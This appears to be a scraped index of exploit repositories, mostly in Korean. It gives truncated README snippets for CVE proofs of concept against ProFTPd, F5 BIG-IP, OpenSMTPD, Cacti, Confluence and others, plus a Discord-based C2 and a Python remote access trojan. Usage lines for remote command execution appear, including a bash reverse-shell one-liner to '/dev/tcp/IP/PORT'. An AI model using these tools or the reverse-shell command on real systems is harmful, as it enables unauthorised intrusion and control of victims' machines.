CVE-2025-3248-POC

CVE-2025-3248-POC CVE-2025-3248のPoC ターゲットマシン上で任意のコマンドを実行 使い方: python poc.py 'http://xxx.com' 'ls /' 被害者のコンピュータに愛を残そう poc.py...

CVE-2023-28324

CVE-2023-28324 Ivanti EPM에 영향을 미치는 CVE-2023-28324에 대한 POC입니다. 기술 분석 취약점에 대한 기술적 근본 원인 분석은 블로그에서 확인할 수 있습니다: https://www.horizon3.ai/attack-research/attack-blogs/cve-2023-28324-deep-dive/ 요약 이 POC는 AgentPortal.exe의 취약점을 악용하여 임의의 명령을 실행합니다. 이 POC가 작동하려면 Ivanti EPM 설치본에서 AgentPortal.exe 및...

nfsen-exploit

nfsen-exploit nfsen 1.3.7에서 CVE-2017-6971 원격 명령 실행 취약점을 이용한 익스플로잇입니다. Ubuntu에서 테스트되었으며, 아마 모든 환경에서 작동할 것입니다. 취약점은 Paul Taylor/Foregenix Ltd가 발견했습니다. 사용법: python exploit.py 이 명령은 원격 머신에 루트 권한 셸을 생성합니다...

CVE-2015-3306

ProFTPd 1.3.5 원격 명령 실행 작성자 : David Tavarez @davidtavarez 소프트웨어: ProFTPd 1.3.5 with modcopy 테스트됨 : Debian 4+deb7u2 ProFTPD 1.3.4a Debian-4+deb7u1 ProFTPD 1.3.4a CVE : 2015-3306...

react2shell-ultimate

React2Shell Ultimate Scanner v2.0 CVE-2025-66478을 위한 전문가용 Next.js RSC RCE 취약점 스캐너 🎯 개요 React2Shell Ultimate는 CVE-2025-66478React Server ComponentsRSC를 사용하는 Next.js 애플리케이션에 영향을 미치는 치명적인 원격 코드 실행RCE 취약점을 위한 종합 취약점 스캐너입니다. 🆕 v2.0의 새로운 기능 버전 2.0에는 주요 개선 사항과 전문가용 기능이 포함되어 있습니다: ✨ 향상된 God Mode - 개선된 명령...

CVE-2025-54068

CVE-2025-54068 CVE-2025-54068을 악용하고 Livewire 프로젝트의 APPKEY를 알고 있을 때 원격 명령 실행을 수행하도록 설계된 도구입니다. 이 도구는 Synacktiv 의 원본 프로젝트를 재구성한 버전입니다: Livepyre — https://github.com/synacktiv/Livepyre 핵심 개념과 방법론은 원래 구현을 기반으로 합니다. 이 버전에는 유용성과 유연성을 향상시키기 위한 사소한 개선 사항과 추가 기능이 포함되어 있습니다. 설치 pipx를 사용하여 도구 설치: pipx insta...

CVE-2022-1388

CVE-2022-1388 영향 이 취약점은 관리 포트 및/또는 자체 IP 주소를 통해 BIG-IP 시스템에 네트워크 접근이 가능한 인증되지 않은 공격자가 임의의 시스템 명령을 실행하거나, 파일을 생성/삭제하거나, 서비스를 비활성화할 수 있습니다. 데이터 플레인 노출은 없으며, 이는 제어 플레인 문제입니다. 사용법 ./CVE-2022-1388.sh 취약한 제품 F5 BIG-IP 16.1.0 - 16.1.2 F5 BIG-IP 15.1.0 - 15.1.5 F5 BIG-IP 14.1.0 - 14.1.4 F5 BIG-IP 13.1.0 ...

CVE-2026-48778

CVE-2026-48778 POC config.xml commandLineInterpreter를 통한 Notepad++ RCE 사용법 .\CVE-2026-48778.exe calc.exe 데모 https://github.com/user-attachments/assets/79ec82c9-ab37-4923-b62d-325710095e86 취약점 요약 패키지| 영향을 받는 버전| 패치된 버전 ---|---|--- Notepad++| = v8.9.6| v8.9.6.1 참고 자료 GHSA-7hm3-wp5q-ccv9...

CVE-2018-2893

CVE-2018-2893 ステップ 1 java -jar ysoserial-cve-2018-2893.jar WHY SO SERIAL? Usage: java -jar ysoserial-version-all.jar payload 'command' Available payload types: Payload Authors Dependencies ------- ------- ------------ JRMPClient @mbechler JRMPClient2 @pynerd JRMPClient3 @pynerd JRMPClient4 @pyner...

CVE-2020-7247

CVE-2020-7247 이 취약점은 OpenBSD 메일 서버 OpenSMTPD의 smtpmailaddr 함수에 존재하며, OpenBSD 버전 6.6에 영향을 미칩니다. 이를 통해 공격자는 root 사용자 권한으로 "sleep 66"과 같은 임의의 셸 명령어를 실행할 수 있습니다. 사용 방법 python3 getShell.py 리버스 셸이 필요하다면 다음과 같이 실행하세요. python3 getShell.py 'bash -c "exec bash -i & /dev/tcp/IP/PORT &1"' 중요 이 익스플로잇에서 RCPT t...

CVE-2022-46169

CVE-2022-46169 CVE-2022-46169는 네트워크 모니터링 및 관리 소프트웨어인 Cacti에서 발견된 보안 취약점입니다. 이 취약점은 공격자가 특별히 조작된 HTTP 요청을 전송하여 인증 없이 원격으로 시스템을 악용할 수 있도록 합니다. 이 취약점을 이용하면 공격자는 대상 시스템에서 임의의 시스템 명령을 실행할 수 있습니다. 이는 권한이 없는 개인이 영향을 받은 시스템을 제어하고 상승된 권한으로 악의적인 활동을 수행할 수 있게 하므로 심각한 위험을 초래합니다. 이 취약점은 remoteagent.php에 존재합니다...

CVE-2025-56803

CVE-2025-56803 피그마 데스크탑 애플리케이션의 플러그인 실행을 통한 OS 명령어 삽입 취약점 1. 개요 애플리케이션 : Figma Desktop Application 버전 : 125.6.5 공급업체 : Figma, Inc. CWE : CWE-78: OS 명령어에 사용되는 특수 요소의 부적절한 중화 'OS 명령어 삽입' CVSS : 8.4 벡터 문자열 : CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H 2. 요약 Figma Desktop Applicationv125.6.5은 플러그인...

DaaC2

DaaC2 - Discord as a C2 이건 심심해서 Discord 봇을 가지고 놀아보고, C2 서버와 에이전트 간에 Discord를 통해 통신 채널을 구축할 수 있을지 확인해보고 싶어서 만들었습니다. 결과적으로 꽤 잘 작동합니다. 이상적으로는 시간이 더 있다면, 이를 초기 드로퍼로 사용하여 인젝션을 통해 셸을 업그레이드할 수 있을 것입니다. 하지만 저는 레드팀원이 아니기 때문에 실제로 이걸로 무엇을 할지는 모르겠습니다. 그냥 만드는 것을 좋아할 뿐입니다. 더 많은 정보는 여기에서 볼 수 있습니다:...

nagios-xi-5.7.5-bugs

nagios-xi-5.7.5-bugs Nagios XI에 보고된 버그 CVE-2021-25296 코드 위치 /usr/local/nagiosxi/html/includes/configwizards/windowswmi/windowswmi.inc.php 코드 조각 if !empty$pluginoutputlen $diskwmicommand .= " --forcetruncateoutput " . $pluginoutputlen; $servicewmicommand .= " --forcetruncateoutput "...

CVE-2023-22527

저는 불법 공격에 대해 책임지지 않습니다 CVE-2023-22527 대량 스캔 스크립트 도움말 usage: python3 CVE-2023-22527.py -u -f -c options: -h, --help show this help message and exit -u TARGET, --target TARGET Target URL -f FILE, --file FILE URL file -c CMD, --cmd CMD Commands to execute -t THREAD, --thread THREAD Number of threads...

CVE-2019-14287-write-up

CVE-2019-14287-분석 4294967295 Sudo 버그로 제한된 사용자가 Root로 명령 실행 가능 취약점 시연 새 사용자 추가: sudo su - root useradd -m -s /bin/bash testuser passwd testuser // add password to user visudo 새 항목 추가 test ALL=ALL, !root /usr/bin/id // specifying that this user cannot use id command with root user 파일을 저장하고 root 사용자...

CVE-2025-9074-Docker-Exploit

CVE-2025-9074 Docker 컨테이너 명령 실행 도구 CVE-2025-9074 취약점의 보안 연구 및 테스트를 위한 강력한 Docker 원격 API 취약점 활용 도구입니다. 핵심 장점 ✅ 완전 자동 컨테이너 수명 주기 관리 : 임시 컨테이너를 자동으로 생성하고 작업 완료 후 자동으로 정리하여 흔적을 남기지 않음 ✅ 스마트 경로 처리 : Windows 경로를 자동으로 인식하여 Docker 마운트 형식으로 변환 ✅ 완전 자동화 작업 흐름 : 복잡한 명령을 수동으로 입력할 필요 없이 메뉴 방식 인터랙션으로 원클릭 파일 작업...

sunflower_exp

CVE-2022-10270 영향 버전: 向日葵 개인판 Windows --thread 스캔 시 스레드 수 기본 스레드 수: 100 --help 도움말 sunflowerpocexp.py 취약점 검증 및 스캔 도구 포트 탐지: 예: python sunflowerpocexp.py --scan --ip --port --thread 매개변수는 사용자가 지정해야 합니다. python sunflowerpocexp.py --scan 모두 기본 매개변수를 사용합니다. --scan 스캔 매개변수 --ip 스캔할 IP 주소 기본 스캔 IP...

susinternals

susinternals - @deft @cablethief & @randomwalksp reinoによる復活 このツールを使用すると、PythonスクリプトからPSExeSVCサービスを介してリモートでコマンドを実行できます。 以下の用途に使用できます： ユーザーとして認証する（プライマリトークンを使用）： SYSTEMとして認証する： ブログ記事の全文はこちらからご覧いただけます！...

MrRAT

MrRAT 이것은 크로스 플랫폼 Python 2.x 기반 RATRemote Access Trojan입니다. MrRAT은 깔끔한 디자인의 풀기능 Python RAT를 유지하기 위해 만들어졌습니다. 현재 작업 진행 중이며 계속해서 활발히 개발되고 있습니다. 면책 조항: 이 RAT는 연구 목적으로만 사용해야 하며, 승인된 시스템에서만 사용해야 합니다. 허가나 명시적 승인 없이 컴퓨터 시스템이나 네트워크에 접근하는 것은 불법입니다. 기능 크로스 플랫폼 Windows, Linux, macOS D-H 교환을 통한 AES GCM 암호화 C...